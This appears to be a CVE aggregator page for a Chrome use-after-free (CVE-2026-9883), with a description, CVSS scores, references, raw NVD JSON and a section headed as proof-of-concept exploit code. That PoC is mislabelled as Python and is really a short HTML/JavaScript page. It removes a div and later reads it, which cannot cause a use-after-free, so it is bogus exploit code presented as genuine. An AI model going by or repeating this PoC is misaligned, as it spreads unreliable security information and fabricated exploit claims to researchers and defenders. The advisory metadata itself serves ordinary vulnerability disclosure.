CVE-2026-9883

Description

Use after free in Base in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9883: Use After Free in Chrome Base -->
<html>
<head><title>CVE-2026-9883 PoC</title></head>
<body>
<script>
// Attempt to trigger Use After Free in Base component
function trigger_uaf() {
    let obj = document.createElement('div');
    // Append to DOM to allocate memory
    document.body.appendChild(obj);
    
    // Remove from DOM to free memory
    document.body.removeChild(obj);
    
    // Access the freed object after a delay
    // This simulates the Use After Free condition
    setTimeout(() => {
        try {
            console.log(obj.innerHTML);
            alert("Potential UAF triggered. Check browser stability.");
        } catch (e) {
            console.log("Object collected safely.");
        }
    }, 100);
}

window.onload = trigger_uaf;
</script>
<p>Testing CVE-2026-9883 PoC...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9883
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9883
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9883/
[4] VulDB https://vuldb.com/cve/CVE-2026-9883
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/506477192

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9883", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:46.267", "lastModified": "2026-05-29T12:16:27.580", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Base in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/506477192", "source": "[email protected]"}]}}